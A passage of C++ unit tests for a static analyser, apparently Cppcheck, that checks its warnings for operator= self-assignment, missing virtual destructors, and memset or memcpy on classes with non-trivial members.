\"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

